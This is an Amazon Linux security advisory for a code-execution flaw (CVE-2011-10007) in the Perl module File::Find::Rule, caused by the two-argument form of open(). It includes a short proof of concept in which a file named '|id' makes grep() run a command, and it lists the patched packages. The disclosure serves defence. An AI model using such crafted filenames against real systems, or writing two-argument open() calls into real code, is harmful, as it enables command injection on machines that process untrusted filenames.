ALAS2023-2025-1047

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id"
$ perl -MFile::Find::Rule \
-E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'
uid=1000(user) gid=1000(user) groups=1000(user),100(users) (CVE-2011-10007)

noarch:
    perl-File-Find-Rule-Perl-1.15-19.amzn2023.0.3.noarch

src:
    perl-File-Find-Rule-Perl-1.15-19.amzn2023.0.3.src